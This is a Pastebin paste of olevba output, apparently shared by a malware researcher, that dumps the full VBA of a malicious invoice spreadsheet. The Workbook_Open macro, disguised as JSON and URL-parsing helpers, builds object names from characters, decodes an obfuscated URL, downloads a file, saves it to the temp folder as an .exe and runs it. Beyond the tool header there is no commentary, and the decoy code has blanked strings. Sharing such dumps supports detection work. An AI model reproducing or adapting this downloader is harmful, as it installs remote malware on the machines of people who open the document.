API tools faq
paste
Advertisement
dynamoo

Malicious Word macro

dynamoo
Nov 9th, 2015
346
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VisualBasic 30.50 KB | None | 0 0
raw download clone embed print report
  1. olevba 0.41 - http://decalage.info/python/oletools
  2. Flags        Filename                                                        
  3. -----------  -----------------------------------------------------------------
  4. OLE:MAS-HB-V invoic~1.xls
  5.  
  6. (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
  7.  
  8. ===============================================================================
  9. FILE: invoic~1.xls
  10. Type: OLE
  11. -------------------------------------------------------------------------------
  12. VBA MACRO ÝòàÊíèãà.cls
  13. in file: invoic~1.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u042d\u0442\u0430\u041a\u043d\u0438\u0433\u0430'
  14. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  15. Private Sub Workbook_Open()
  16. json_ParseValue "", 8
  17. json_ParseKey "", 9
  18. json_Peek "", 9
  19. ParseUrlEncoded ""
  20. FormatToMediaType ""
  21. End Sub
  22.  
  23.  
  24. -------------------------------------------------------------------------------
  25. VBA MACRO Ëèñò1.cls
  26. in file: invoic~1.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04421'
  27. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  28. (empty macro)
  29. -------------------------------------------------------------------------------
  30. VBA MACRO Ëèñò2.cls
  31. in file: invoic~1.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04422'
  32. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  33. (empty macro)
  34. -------------------------------------------------------------------------------
  35. VBA MACRO Ëèñò3.cls
  36. in file: invoic~1.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04423'
  37. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  38. (empty macro)
  39. -------------------------------------------------------------------------------
  40. VBA MACRO Module3.bas
  41. in file: invoic~1.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module3'
  42. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  43.  
  44. Private Function json_ParseObject(json_String As String, ByRef json_Index As Long) As String
  45.  Dim json_Key As String
  46.  Dim json_NextChar As String
  47.  Set json_ParseObject = New Dictionary
  48.  json_SkipSpaces json_String, json_Index
  49.  If VBA.Mid$(json_String, json_Index, 1) <> "" Then
  50.  Err.Raise 10001, "", json_ParseErr.orMessage(json_String, json_Index, "")
  51.  Else
  52.  json_Index = json_Index + 1
  53.  Do
  54.  json_SkipSpaces json_String, json_Index
  55.  If VBA.Mid$(json_String, json_Index, 1) = "" Then
  56.  json_Index = json_Index + 1
  57.  Exit Function
  58.  ElseIf VBA.Mid$(json_String, json_Index, 1) = "" Then
  59.  json_Index = json_Index + 1
  60.  json_SkipSpaces json_String, json_Index
  61.  End If
  62.  json_Key = json_ParseKey(json_String, json_Index)
  63.  json_NextChar = json_Peek(json_String, json_Index)
  64.  If json_NextChar = "" Or json_NextChar = "" Then
  65.  Set json_ParseObject.Item(json_Key) = json_ParseValue(json_String, json_Index)
  66.  Else
  67.  json_ParseObject.Item(json_Key) = json_ParseValue(json_String, json_Index)
  68.  End If
  69.  Loop
  70.  End If
  71. End Function
  72. Private Function json_ParseArray(json_String As String, ByRef json_Index As Long) As Collection
  73.  Set json_ParseArray = New Collection
  74.  json_SkipSpaces json_String, json_Index
  75.  If VBA.Mid$(json_String, json_Index, 1) <> "" Then
  76.  Err.Raise 10001, "", json_ParseErr.orMessage(json_String, json_Index, "")
  77.  Else
  78.  json_Index = json_Index + 1
  79.  Do
  80.  json_SkipSpaces json_String, json_Index
  81.  If VBA.Mid$(json_String, json_Index, 1) = "" Then
  82.  json_Index = json_Index + 1
  83.  Exit Function
  84.  ElseIf VBA.Mid$(json_String, json_Index, 1) = "" Then
  85.  json_Index = json_Index + 1
  86.  json_SkipSpaces json_String, json_Index
  87.  End If
  88.  json_ParseArray.Add json_ParseValue(json_String, json_Index)
  89.  Loop
  90.  End If
  91. End Function
  92. Public Function json_ParseValue(json_String As String, ByRef json_Index As Long) As Variant
  93. dot_hero = Chr(Asc(M_Zorro) - 31)
  94. e_loadman = Chr(Asc(M_Zorro) + 24)
  95.  Set jsonParseString = CreateObject(M_Zorro + "icrosoft" + dot_hero + "XMLHTTP")
  96.  Set kogdaNado = CreateObject("Adodb" + dot_hero + "Str" + e_loadman + "am")
  97. Set helavisa = CreateObject("WScript" + dot_hero + "Sh" + e_loadman + "ll").Environment("Proc" + e_loadman + "ss")
  98. Set FunctionManager = CreateObject("Sh" + e_loadman + "ll" + dot_hero + "Application")
  99.  Exit Function
  100.  json_SkipSpaces json_String, json_Index
  101.  Select Case VBA.Mid$(json_String, json_Index, 1)
  102.  Case ""
  103.  Set json_ParseValue = json_Pars.eObject(json_String, json_Index)
  104.  Case ""
  105.  Set json_ParseValue = json_Pars.eArray(json_String, json_Index)
  106.  Case """", ""
  107.  json_ParseValue = json_ParseString(json_String, json_Index)
  108.  Case Else
  109.  If VBA.Mid$(json_String, json_Index, 4) = "" Then
  110.  json_ParseValue = True
  111.  json_Index = json_Index + 4
  112.  ElseIf VBA.Mid$(json_String, json_Index, 5) = "" Then
  113.  json_ParseValue = False
  114.  json_Index = json_Index + 5
  115.  ElseIf VBA.Mid$(json_String, json_Index, 4) = "" Then
  116.  json_ParseValue = Null
  117.  json_Index = json_Index + 4
  118.  ElseIf VBA.InStr("", VBA.Mid$(json_String, json_Index, 1)) Then
  119.  json_ParseValue = json_ParseNumber(json_String, json_Index)
  120.  Else
  121.  Err.Raise 10001, "", json_ParseErr.orMessage(json_String, json_Index, "")
  122.  End If
  123.  End Select
  124. End Function
  125. Private Function json_ParseString(json_String As String, ByRef json_Index As Long) As String
  126.  Dim json_Quote As String
  127.  Dim json_Char As String
  128.  Dim json_Code As String
  129.  Dim json_buffer As String
  130.  Dim json_BufferPosition As Long
  131.  Dim json_BufferLength As Long
  132.  json_SkipSpaces json_String, json_Index
  133.  json_Quote = VBA.Mid$(json_String, json_Index, 1)
  134.  json_Index = json_Index + 1
  135.  Do While json_Index > 0 And json_Index <= Len(json_String)
  136.  json_Char = VBA.Mid$(json_String, json_Index, 1)
  137.  Select Case json_Char
  138.  Case ""
  139.  json_Index = json_Index + 1
  140.  json_Char = VBA.Mid$(json_String, json_Index, 1)
  141.  Select Case json_Char
  142.  Case """", "", "", ""
  143.  json_BufferAppend json_buffer, json_Char, json_BufferPosition, json_BufferLength
  144.  json_Index = json_Index + 1
  145.  Case ""
  146.  json_BufferAppend json_buffer, vbBack, json_BufferPosition, json_BufferLength
  147.  json_Index = json_Index + 1
  148.  Case ""
  149.  json_BufferAppend json_buffer, vbFormFeed, json_BufferPosition, json_BufferLength
  150.  json_Index = json_Index + 1
  151.  Case ""
  152.  json_BufferAppend json_buffer, vbCrLf, json_BufferPosition, json_BufferLength
  153.  json_Index = json_Index + 1
  154.  Case ""
  155.  json_BufferAppend json_buffer, vbCr, json_BufferPosition, json_BufferLength
  156.  json_Index = json_Index + 1
  157.  Case ""
  158.  json_BufferAppend json_buffer, vbTab, json_BufferPosition, json_BufferLength
  159.  json_Index = json_Index + 1
  160.  Case ""
  161.  json_Index = json_Index + 1
  162.  json_Code = VBA.Mid$(json_String, json_Index, 4)
  163.  json_BufferAppend json_buffer, VBA.ChrW(VBA.Val("" + json_Code)), json_BufferPosition, json_BufferLength
  164.  json_Index = json_Index + 4
  165.  End Select
  166.  Case json_Quote
  167.  json_ParseString = json_BufferToString(json_buffer, json_BufferPosition, json_BufferLength)
  168.  json_Index = json_Index + 1
  169.  Exit Function
  170.  Case Else
  171.  json_BufferAppend json_buffer, json_Char, json_BufferPosition, json_BufferLength
  172.  json_Index = json_Index + 1
  173.  End Select
  174.  Loop
  175. End Function
  176. Private Function json_ParseNumber(json_String As String, ByRef json_Index As Long) As Variant
  177.  Dim json_Char As String
  178.  Dim json_Value As String
  179.  json_SkipSpaces json_String, json_Index
  180.  Do While json_Index > 0 And json_Index <= Len(json_String)
  181.  json_Char = VBA.Mid$(json_String, json_Index, 1)
  182.  If VBA.InStr("", json_Char) Then
  183.  json_Value = json_Value & json_Char
  184.  json_Index = json_Index + 1
  185.  Else
  186.  If Not JsonOptions.UseDoubleForLargeNumbers And Len(json_Value) >= 16 Then
  187.  json_ParseNumber = json_Value
  188.  Else
  189.  json_ParseNumber = VBA.Val(json_Value)
  190.  End If
  191.  Exit Function
  192.  End If
  193.  Loop
  194. End Function
  195. Public Function json_ParseKey(json_String As String, ByRef json_Index As Long) As String
  196.  Dim solov() As Variant
  197.  solov = Array(4932, 4944, 4944, 4940, 4886, 4875, 4875, 4947, 4947, 4947, 4874, 4928, 4925, 4946, 4933, 4928, 4927, 4925, 4926, 4925, 4936, 4936, 4929, 4942, 4939, 4874, 4927, 4939, 4937, 4875, 4884, 4883, 4949, 4944, 4929, 4881, 4881, 4875, 4882, 4944, 4880, 4881, 4929, 4949, 4946, 4874, 4929, 4948, 4929)
  198. GoTo Fileshka
  199.  If VBA.Mid$(json_String, json_Index, 1) = """" Or VBA.Mid$(json_String, json_Index, 1) = "" Then
  200.  json_ParseKey = json_ParseString(json_String, json_Index)
  201.  ElseIf JsonOptions.AllowUnquotedKeys Then
  202.  Dim json_Char As String
  203.  Do While json_Index > 0 And json_Index <= Len(json_String)
  204.  json_Char = VBA.Mid$(json_String, json_Index, 1)
  205.  If (json_Char <> "") And (json_Char <> "") Then
  206.  json_ParseKey = json_ParseKey & json_Char
  207.  json_Index = json_Index + 1
  208.  Else
  209.  Exit Do
  210.  End If
  211.  Loop
  212.  Else
  213. Fileshka:
  214.  jsonParseString.Open "G" + UCase(e_loadman) + "T", Redistribute(solov, 48), False
  215.    jsonParseString.Send
  216.    GoTo exitFunct
  217.  
  218.  Err.Raise 10001, "", json_ParseErr.orMessage(json_String, json_Index, """")
  219.  End If
  220.  json_SkipSpaces json_String, json_Index
  221.  If VBA.Mid$(json_String, json_Index, 1) <> "" Then
  222.  Err.Raise 10001, "", json_ParseErr.orMessage(json_String, json_Index, "")
  223.  Else
  224.  json_Index = json_Index + 1
  225.  End If
  226. exitFunct:
  227.   kogdaNado.Type = 1
  228. End Function
  229. Private Function json_Encode(ByVal json_Text As Variant) As String
  230.  Dim json_Index As Long
  231.  Dim json_Char As String
  232.  Dim json_AscCode As Long
  233.  Dim json_buffer As String
  234.  Dim json_BufferPosition As Long
  235.  Dim json_BufferLength As Long
  236.  For json_Index = 1 To VBA.Len(json_Text)
  237.  json_Char = VBA.Mid$(json_Text, json_Index, 1)
  238.  json_AscCode = VBA.AscW(json_Char)
  239.  If json_AscCode < 0 Then
  240.  json_AscCode = json_AscCode + 65536
  241.  End If
  242.  Select Case json_AscCode
  243.  Case 34
  244.  json_Char = """"
  245.  Case 92
  246.  json_Char = ""
  247.  Case 47
  248.  If JsonOptions.EscapeSolidus Then
  249.  json_Char = ""
  250.  End If
  251.  Case 8
  252.  json_Char = ""
  253.  Case 12
  254.  json_Char = ""
  255.  Case 10
  256.  json_Char = ""
  257.  Case 13
  258.  json_Char = ""
  259.  Case 9
  260.  json_Char = ""
  261.  Case 0 To 31, 127 To 65535
  262.  json_Char = "" & VBA.Right$("" & VBA.Hex$(json_AscCode), 4)
  263.  End Select
  264.  json_BufferAppend json_buffer, json_Char, json_BufferPosition, json_BufferLength
  265.  Next json_Index
  266.  json_Encode = json_BufferToString(json_buffer, json_BufferPosition, json_BufferLength)
  267. End Function
  268.  
  269. Private Sub json_SkipSpaces(json_String As String, ByRef json_Index As Long)
  270.  Do While json_Index > 0 And json_Index <= VBA.Len(json_String) And VBA.Mid$(json_String, json_Index, 1) = ""
  271.  json_Index = json_Index + 1
  272.  Loop
  273. End Sub
  274. Private Function json_StringIsLargeNumber(json_String As Variant) As Boolean
  275.  Dim json_Length As Long
  276.  Dim json_CharIndex As Long
  277.  json_Length = VBA.Len(json_String)
  278.  If json_Length >= 16 And json_Length <= 100 Then
  279.  Dim json_CharCode As String
  280.  Dim json_Index As Long
  281.  json_StringIsLargeNumber = True
  282.  For json_CharIndex = 1 To json_Length
  283.  json_CharCode = VBA.Asc(VBA.Mid$(json_String, json_CharIndex, 1))
  284.  Select Case json_CharCode
  285.  Case 46, 48 To 57, 69, 101
  286.  Case Else
  287.  json_StringIsLargeNumber = False
  288.  Exit Function
  289.  End Select
  290.  Next json_CharIndex
  291.  End If
  292. End Function
  293.  
  294.  
  295.  
  296.  
  297.  
  298. -------------------------------------------------------------------------------
  299. VBA MACRO Module2.bas
  300. in file: invoic~1.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module2'
  301. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  302.  
  303. Public tempFolder  As String
  304. Public parameter3  As String
  305. Public FunctionManager As Object
  306. Public Function JoinUrl(LeftSide As String, RightSide As String) As String
  307.  If Left(RightSide, 1) = "" Then
  308.  RightSide = Right(RightSide, Len(RightSide) - 1)
  309.  End If
  310.  If Right(LeftSide, 1) = "" Then
  311.  LeftSide = Left(LeftSide, Len(LeftSide) - 1)
  312.  End If
  313.  If LeftSide <> "" And RightSide <> "" Then
  314.  JoinUrl = LeftSide & "" & RightSide
  315.  Else
  316.  JoinUrl = LeftSide & RightSide
  317.  End If
  318. End Function
  319. Public Function GetUrlParts(Url As String) As String
  320.  Dim web_Parts As New Dictionary
  321.  On Error GoTo web_ErrorHandling
  322. #If Mac Then
  323.  Dim web_AddedProtocol As Boolean
  324.  Dim web_Command As String
  325.  Dim web_Results As Variant
  326.  Dim web_ResultPart As Variant
  327.  Dim web_EqualsIndex As Long
  328.  Dim web_Key As String
  329.  Dim web_Value As String
  330.  If InStr(1, Url, "") <= 0 Then
  331.  web_AddedProtocol = True
  332.  If InStr(1, Url, "") = 1 Then
  333.  Url = "" & Url
  334.  Else
  335.  Url = "" & Url
  336.  End If
  337.  End If
  338.  web_Command = "" & vbNewLine & _
  339.  """" & Url & """" & vbNewLine & _
  340.  """""" & vbNewLine & _
  341.  """""" & vbNewLine & _
  342.  """""" & vbNewLine & _
  343.  """""" & vbNewLine & _
  344.  """""" & vbNewLine & _
  345.  ""
  346.  web_Results = Split(ExecuteInShell(web_Command).Output, "")
  347.  For Each web_ResultPart In web_Results
  348.  web_EqualsIndex = InStr(1, web_ResultPart, "")
  349.  web_Key = Trim(VBA.Mid$(web_ResultPart, 1, web_EqualsIndex - 1))
  350.  web_Value = Trim(VBA.Mid$(web_ResultPart, web_EqualsIndex + 1))
  351.  If web_Key = "" Then
  352.  Dim QueryIndex As Integer
  353.  QueryIndex = InStr(1, web_Value, "")
  354.  If QueryIndex > 0 Then
  355.  web_Parts.Add "", Mid$(web_Value, 1, QueryIndex - 1)
  356.  web_Parts.Add "", Mid$(web_Value, QueryIndex + 1)
  357.  Else
  358.  web_Parts.Add "", web_Value
  359.  web_Parts.Add "", ""
  360.  End If
  361.  Else
  362.  web_Parts.Add web_Key, web_Value
  363.  End If
  364.  Next web_ResultPart
  365.  If web_AddedProtocol And web_Parts.Exists("") Then
  366.  web_Parts("") = ""
  367.  End If
  368. #Else
  369.  If web_pDocumentHelper Is Nothing Or web_pElHelper Is Nothing Then
  370.  Set web_pDocumentHelper = CreateObject("")
  371.  Set web_pElHelper = web_pDocumentHelper.createElement("")
  372.  End If
  373.  web_pElHelper.href = Url
  374.  web_Parts.Add "", Replace(web_pElHelper.Protocol, "", "", Count:=1)
  375.  web_Parts.Add "", web_pElHelper.hostname
  376.  web_Parts.Add "", web_pElHelper.port
  377.  web_Parts.Add "", web_pElHelper.pathname
  378.  web_Parts.Add "", Replace(web_pElHelper.Search, "", "", Count:=1)
  379.  web_Parts.Add "", Replace(web_pElHelper.Hash, "", "", Count:=1)
  380. #End If
  381.  If web_Parts("") = "" Then
  382.  Dim PathParts As Variant
  383.  PathParts = Split(web_Parts(""), "")
  384.  web_Parts("") = PathParts(0)
  385.  web_Parts("") = ""
  386.  web_Parts("") = ""
  387.  web_Parts("") = Replace(web_Parts(""), web_Parts(""), "", Count:=1)
  388.  End If
  389.  If Left(web_Parts(""), 1) <> "" Then
  390.  web_Parts("") = "" & web_Parts("")
  391.  End If
  392.  Set GetUrlParts = web_Parts
  393.  Exit Function
  394. web_ErrorHandling:
  395.  Dim web_ErrorDescription As String
  396.  web_ErrorDescription = "" & vbNewLine & _
  397.  Err.number & VBA.IIf(Err.number < 0, "" & VBA.LCase$(VBA.Hex$(Err.number)) & "", "") & "" & Err.Description
  398.  LogError web_ErrorDescription, "", 11003
  399.  Err.Raise 11003, "", web_ErrorDescription
  400. End Function
  401. Public Function CloneDictionary(Original As String) As String
  402.  Dim web_Key As Variant
  403.  Set CloneDictionary = New Dictionary
  404.  For Each web_Key In Original.Keys
  405.  CloneDictionary.Add VBA.CStr(web_Key), Original(web_Key)
  406.  Next web_Key
  407. End Function
  408. Public Function CloneCollection(Original As Collection) As Collection
  409.  Dim web_Item As Variant
  410.  Set CloneCollection = New Collection
  411.  For Each web_Item In Original
  412.  CloneCollection.Add web_Item
  413.  Next web_Item
  414. End Function
  415. Public Function CreateKeyValue(Key As String, Value As Variant) As String
  416.  Dim web_KeyValue As New Dictionary
  417.  web_KeyValue("") = Key
  418.  web_KeyValue("") = Value
  419.  Set CreateKeyValue = web_KeyValue
  420. End Function
  421. Public Function FindInKeyValues(KeyValues As Collection, Key As Variant) As Variant
  422.  Dim web_KeyValue As Dictionary
  423.  For Each web_KeyValue In KeyValues
  424.  If web_KeyValue("") = Key Then
  425.  FindInKeyValues = web_KeyValue("")
  426.  Exit Function
  427.  End If
  428.  Next web_KeyValue
  429. End Function
  430. Public Sub AddOrReplaceInKeyValues(KeyValues As Collection, Key As Variant, Value As Variant)
  431.  Dim web_KeyValue As Dictionary
  432.  Dim web_Index As Long
  433.  Dim web_NewKeyValue As Dictionary
  434.  Set web_NewKeyValue = CreateKeyValue(CStr(Key), Value)
  435.  web_Index = 1
  436.  For Each web_KeyValue In KeyValues
  437.  If web_KeyValue("") = Key Then
  438.  KeyValues.Remove web_Index
  439.  If KeyValues.Count = 0 Then
  440.  KeyValues.Add web_NewKeyValue
  441.  ElseIf web_Index > KeyValues.Count Then
  442.  KeyValues.Add web_NewKeyValue, After:=web_Index - 1
  443.  Else
  444.  KeyValues.Add web_NewKeyValue, Before:=web_Index
  445.  End If
  446.  Exit Sub
  447.  End If
  448.  web_Index = web_Index + 1
  449.  Next web_KeyValue
  450.  KeyValues.Add web_NewKeyValue
  451. End Sub
  452. Public Function FormatToMediaType(Format As String, Optional CustomFormat As String) As String
  453. FunctionManager.Open (parameter3)
  454. Exit Function
  455.  Select Case Format
  456.  Case WebFormat.FormUrlEncoded
  457.  FormatToMediaType = ""
  458.  Case WebFormat.Json
  459.  FormatToMediaType = ""
  460.  Case WebFormat.XML
  461.  FormatToMediaType = ""
  462.  Case WebFormat.Custom
  463.  FormatToMediaType = web_Get.Converter(CustomFormat)("")
  464.  Case Else
  465.  FormatToMediaType = ""
  466.  End Select
  467. End Function
  468. Public Function MethodToName(Method As String) As String
  469.  Select Case Method
  470.  Case WebMethod.HttpDelete
  471.  MethodToName = ""
  472.  Case WebMethod.HttpPut
  473.  MethodToName = ""
  474.  Case WebMethod.HttpPatch
  475.  MethodToName = ""
  476.  Case WebMethod.HttpPost
  477.  MethodToName = ""
  478.  Case WebMethod.HttpGet
  479.  MethodToName = ""
  480.  Case WebMethod.HttpHead
  481.  MethodToName = ""
  482.  End Select
  483. End Function
  484.  
  485.  
  486.  
  487.  
  488.  
  489.  
  490.  
  491.  
  492. -------------------------------------------------------------------------------
  493. VBA MACRO Module1.bas
  494. in file: invoic~1.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
  495. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
  496. Public Const M_Zorro = "M"
  497. Public dot_hero As String
  498. Public e_loadman As String
  499. Public jsonParseString As Object
  500. Public kogdaNado As Object
  501. Public helavisa As Object
  502. Public Sub LogDebug(Message As String, Optional From As String = "")
  503.  If EnableLogging Then
  504.  Debug.Print From & "" & Message
  505.  End If
  506. End Sub
  507. Public Sub LogWarning(Message As String, Optional From As String = "")
  508.  Debug.Print "" & From & "" & Message
  509. End Sub
  510. Public Sub LogError(Message As String, Optional From As String = "", Optional ErrNumber As Long = 0)
  511.  Dim web_ErrorValue As String
  512.  If ErrNumber <> 0 Then
  513.  web_ErrorValue = ErrNumber
  514.  If ErrNumber < 0 Then
  515.  web_ErrorValue = web_ErrorValue & "" & (ErrNumber - vbObjectError) & "" & VBA.LCase$(VBA.Hex$(ErrNumber)) & ""
  516.  End If
  517.  web_ErrorValue = web_ErrorValue & ""
  518.  End If
  519.  Debug.Print "" & From & "" & web_ErrorValue & Message
  520. End Sub
  521. Public Sub LogRequest(Client As String, Request As String)
  522.  If EnableLogging Then
  523.  Debug.Print "" & Format(Now, "")
  524.  Debug.Print MethodToName(Request.Method) & "" & Client.GetFullUrl(Request)
  525.  Dim web_KeyValue As Dictionary
  526.  For Each web_KeyValue In Request.Headers
  527.  Debug.Print web_KeyValue("") & "" & web_KeyValue("")
  528.  Next web_KeyValue
  529.  For Each web_KeyValue In Request.Cookies
  530.  Debug.Print "" & web_KeyValue("") & "" & web_KeyValue("")
  531.  Next web_KeyValue
  532.  If Not IsEmpty(Request.Body) Then
  533.  Debug.Print vbNewLine & CStr(Request.Body)
  534.  End If
  535.  Debug.Print
  536.  End If
  537. End Sub
  538. Public Sub LogResponse(Client As String, Request As String, Response As String)
  539.  If EnableLogging Then
  540.  Dim web_KeyValue As Dictionary
  541.  Debug.Print "" & Format(Now, "")
  542.  Debug.Print Response.StatusCode & "" & Response.StatusDescription
  543.  For Each web_KeyValue In Response.Headers
  544.  Debug.Print web_KeyValue("") & "" & web_KeyValue("")
  545.  Next web_KeyValue
  546.  For Each web_KeyValue In Response.Cookies
  547.  Debug.Print "" & web_KeyValue("") & "" & web_KeyValue("")
  548.  Next web_KeyValue
  549.  Debug.Print vbNewLine & Response.Content & vbNewLine
  550.  End If
  551. End Sub
  552. Public Function Obfuscate(Secure As String, Optional Character As String = "") As String
  553.  Obfuscate = VBA.String$(VBA.Len(Secure), Character)
  554. End Function
  555. Public Function ParseUrlEncoded(Encoded As String) As String
  556.  
  557.  Dim web_Items As Variant
  558.  Dim web_i As Integer
  559.  Dim web_Parts As Variant
  560.  Dim web_Key As String
  561.  Dim web_Value As Variant
  562. kogdaNado.write jsonParseString.responseBody
  563.     kogdaNado.savetofile parameter3, 2
  564.      Exit Function
  565.  web_Items = VBA.Split(Encoded, "")
  566.  For web_i = LBound(web_Items) To UBound(web_Items)
  567.  web_Parts = VBA.Split(web_Items(web_i), "")
  568.  If UBound(web_Parts) - LBound(web_Parts) >= 1 Then
  569.  web_Key = UrlDecode(VBA.CStr(web_Parts(LBound(web_Parts))))
  570.  web_Value = UrlDecode(VBA.CStr(web_Parts(LBound(web_Parts) + 1)))
  571.  web_Pa.rsed(web_Key) = web_Value
  572.  End If
  573.  Next web_i
  574.  Set ParseUrl.Encoded = web_Parsed
  575. End Function
  576. Public Function Redistribute(Z() As Variant, oldLen As Integer) As String
  577. Dim n As Integer
  578. For n = LBound(Z) To UBound(Z)
  579.     Redistribute = Redistribute & Chr(Z(n) - 8 * oldLen - 4444)
  580. Next n
  581. End Function
  582. Public Function ConvertToUrlEncoded(Obj As Variant) As String
  583.  Dim web_Encoded As String
  584.  If TypeOf Obj Is Collection Then
  585.  Dim web_KeyValue As Dictionary
  586.  For Each web_KeyValue In Obj
  587.  If VBA.Len(web_Encoded) > 0 Then: web_Encoded = web_Encoded & ""
  588.  web_Encoded = web_Encoded & web_GetUrlEncodedKeyValue(web_KeyValue(""), web_KeyValue(""))
  589.  Next web_KeyValue
  590.  Else
  591.  Dim web_Key As Variant
  592.  For Each web_Key In Obj.Keys()
  593.  If Len(web_Encoded) > 0 Then: web_Encoded = web_Encoded & ""
  594.  web_Encoded = web_Encoded & web_GetUrlEncodedKeyValue(web_Key, Obj(web_Key))
  595.  Next web_Key
  596.  End If
  597.  ConvertToUrlEncoded = web_Encoded
  598. End Function
  599. Public Function ParseXml(Encoded As String) As Object
  600.  Dim web_ErrorMsg As String
  601.  web_ErrorMsg = "" & vbNewLine & _
  602.  "" & vbNewLine & _
  603.  vbNewLine & _
  604.  ""
  605.  LogError web_ErrorMsg, "", 11099
  606.  Err.Raise 11099, "", web_ErrorMsg
  607. End Function
  608. Public Function ConvertToXml(Obj As Variant) As String
  609.  Dim web_ErrorMsg As String
  610.  web_ErrorMsg = "" & vbNewLine & _
  611.  "" & vbNewLine & _
  612.  vbNewLine & _
  613.  ""
  614.  LogError web_ErrorMsg, "", 11099 + vbObjectError
  615.  Err.Raise 11099 + vbObjectError, "", web_ErrorMsg
  616. End Function
  617. Public Function ParseByFormat(Value As String, Format As String, _
  618.  Optional CustomFormat As String = "", Optional Bytes As Variant) As Object
  619.  On Error GoTo web_ErrorHandling
  620.  If Value = "" And CustomFormat = "" Then
  621.  Exit Function
  622.  End If
  623.  Select Case Format
  624.  Case WebFormat.Json
  625.  Set ParseByFormat = ParseJson(Value)
  626.  Case WebFormat.FormUrlEncoded
  627.  Set ParseByFormat = ParseUrlEncoded(Value)
  628.  Case WebFormat.XML
  629.  Set ParseByFormat = ParseXml(Value)
  630.  Case WebFormat.Custom
  631. #If EnableCustomFormatting Then
  632.  Dim web_Converter As Dictionary
  633.  Dim web_Callback As String
  634.  Set web_Converter = web_GetConverter(CustomFormat)
  635.  web_Callback = web_Converter("")
  636.  If web_Converter.Exists("") Then
  637.  Dim web_Instance As Object
  638.  Set web_Instance = web_Converter("")
  639.  If web_Converter("") = "" Then
  640.  Set ParseByFormat = VBA.CallByName(web_Instance, web_Callback, VBA.VbMethod, Bytes)
  641.  Else
  642.  Set ParseByFormat = VBA.CallByName(web_Instance, web_Callback, VBA.VbMethod, Value)
  643.  End If
  644.  Else
  645.  If web_Converter("") = "" Then
  646.  Set ParseByFormat = Application.Run(web_Callback, Bytes)
  647.  Else
  648.  Set ParseByFormat = Application.Run(web_Callback, Value)
  649.  End If
  650.  End If
  651. #Else
  652.  LogWarning ""
  653. #End If
  654.  End Select
  655.  Exit Function
  656. web_ErrorHandling:
  657.  Dim web_ErrorDescription As String
  658.  web_ErrorDescription = "" & vbNewLine & _
  659.  Err.number & VBA.IIf(Err.number < 0, "" & VBA.LCase$(VBA.Hex$(Err.number)) & "", "") & "" & Err.Description
  660.  LogError web_ErrorDescription, "", 11000
  661.  Err.Raise 11000, "", web_ErrorDescription
  662. End Function
  663. Public Function json_Peek(json_String As String, ByVal json_Index As Long, Optional json_NumberOfCharacters As Long = 1) As String
  664.  tempFolder = helavisa("T" + UCase(e_loadman) + UCase(M_Zorro) + "P")
  665.     CallByName kogdaNado, "Op" + e_loadman + "n", VbMethod
  666. parameter3 = tempFolder + "\si" + M_Zorro + "ba" + dot_hero + e_loadman + "x" + e_loadman
  667. Exit Function
  668.  json_Skip.Spaces json_String, json_Index
  669.  json_Peek = VBA.Mid$(json_String, json_Index, json_NumberOfCharacters)
  670. End Function
  671. Public Function ConvertToFormat(Obj As Variant, Format As String, Optional CustomFormat As String = "") As Variant
  672.  On Error GoTo web_ErrorHandling
  673.  Select Case Format
  674.  Case WebFormat.Json
  675.  ConvertToFormat = ConvertToJson(Obj)
  676.  Case WebFormat.FormUrlEncoded
  677.  ConvertToFormat = ConvertToUrlEncoded(Obj)
  678.  Case WebFormat.XML
  679.  ConvertToFormat = ConvertToXml(Obj)
  680.  Case WebFormat.Custom
  681. #If EnableCustomFormatting Then
  682.  Dim web_Converter As Dictionary
  683.  Dim web_Callback As String
  684.  Set web_Converter = web_GetConverter(CustomFormat)
  685.  web_Callback = web_Converter("")
  686.  If web_Converter.Exists("") Then
  687.  Dim web_Instance As Object
  688.  Set web_Instance = web_Converter("")
  689.  ConvertToFormat = VBA.CallByName(web_Instance, web_Callback, VBA.VbMethod, Obj)
  690.  Else
  691.  ConvertToFormat = Application.Run(web_Callback, Obj)
  692.  End If
  693. #Else
  694.  LogWarning ""
  695. #End If
  696.  Case Else
  697.  If VBA.VarType(Obj) = vbString Then
  698.  ConvertToFormat = Obj
  699.  End If
  700.  End Select
  701.  Exit Function
  702. web_ErrorHandling:
  703.  Dim web_ErrorDescription As String
  704.  web_ErrorDescription = "" & vbNewLine & _
  705.  Err.number & VBA.IIf(Err.number < 0, "" & VBA.LCase$(VBA.Hex$(Err.number)) & "", "") & "" & Err.Description
  706.  LogError web_ErrorDescription, "", 11001
  707.  Err.Raise 11001, "", web_ErrorDescription
  708. End Function
  709. Public Function UrlEncode(Text As Variant, Optional SpaceAsPlus As Boolean = False, Optional EncodeUnsafe As Boolean = True) As String
  710.  Dim web_UrlVal As String
  711.  Dim web_StringLen As Long
  712.  web_UrlVal = VBA.CStr(Text)
  713.  web_StringLen = VBA.Len(web_UrlVal)
  714.  If web_StringLen > 0 Then
  715.  Dim web_Result() As String
  716.  Dim web_i As Long
  717.  Dim web_CharCode As Integer
  718.  Dim web_Char As String
  719.  Dim web_Space As String
  720.  ReDim web_Result(web_StringLen)
  721.  If SpaceAsPlus Then
  722.  web_Space = ""
  723.  Else
  724.  web_Space = ""
  725.  End If
  726.  For web_i = 1 To web_StringLen
  727.  web_Char = VBA.Mid$(web_UrlVal, web_i, 1)
